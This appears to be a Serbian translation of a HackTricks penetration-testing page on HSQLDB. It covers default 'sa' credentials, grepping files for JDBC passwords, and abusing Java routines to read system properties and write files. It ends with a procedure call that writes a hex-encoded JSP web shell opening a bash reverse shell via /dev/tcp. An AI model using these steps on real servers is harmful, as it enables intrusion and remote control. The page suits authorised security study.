5.3 KiB
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite vašu kompaniju reklamiranu na HackTricks-u ili preuzmete HackTricks u PDF formatu proverite SUBSCRIPTION PLANS!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitter-u 🐦 @carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Osnovne informacije
HSQLDB (HyperSQL DataBase) je vodeći SQL relacioni sistem baza podataka napisan u Javi. Nudi malu, brzu, višenitnu i transakcionu bazu podataka sa tabelama u memoriji i na disku, podržava ugrađeni i serverski režim.
Podrazumevani port: 9001
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
Informacije
Podrazumevane postavke
Imajte na umu da je ovaj servis podrazumevano pokrenut u memoriji ili je vezan za localhost. Ako ste ga pronašli, verovatno ste iskoristili neki drugi servis i želite da povećate privilegije.
Podrazumevane akreditacije obično su sa
sa praznom lozinkom.
Ako ste iskoristili neki drugi servis, potražite moguće akreditacije koristeći
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
Info prikupljanje
Povežite se sa instancom baze podataka preuzimanjem HSQLDB-a sa ovog linka i izdvajanjem hsqldb/lib/hsqldb.jar
. Pokrenite GUI aplikaciju (eww) koristeći java -jar hsqldb.jar
i povežite se sa instancom koristeći otkrivene/slabije kredencijale.
Obratite pažnju da će URL za povezivanje izgledati nešto poput ovoga za udaljeni sistem: jdbc:hsqldb:hsql://ip/DBNAME
.
Trikovi
Java jezičke rutine
Možemo pozvati statičke metode Java klase iz HSQLDB-a koristeći Java jezičke rutine. Imajte na umu da pozvana klasa mora biti u putanji aplikacije.
JRT-ovi mogu biti funkcije
ili procedure
. Funkcije se mogu pozvati putem SQL naredbi ako Java metoda vraća jednu ili više SQL-kompatibilnih primitivnih varijabli. Pozivaju se koristeći VALUES
naredbu.
Ako Java metoda koju želimo pozvati vraća void, moramo koristiti proceduru koja se poziva sa CALL
naredbom.
Čitanje Java sistemskih svojstava
Kreirajte funkciju:
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
Izvrši funkciju:
VALUES(getsystemproperty('user.name'))
Možete pronaći listu sistemskih svojstava ovde.
Upisivanje sadržaja u datoteku
Možete koristiti Java uređaj com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename
koji se nalazi u JDK-u (automatski učitan u putanju klase aplikacije) da biste putem prilagođene procedure upisali heksadecimalne stavke na disk. Obratite pažnju na maksimalnu veličinu od 1024 bajta.
Kreirajte proceduru:
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
Izvršite proceduru:
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite vašu kompaniju reklamiranu na HackTricks-u ili preuzmete HackTricks u PDF formatu proverite PLANOVE ZA PRETPLATU!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitter-u 🐦 @carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.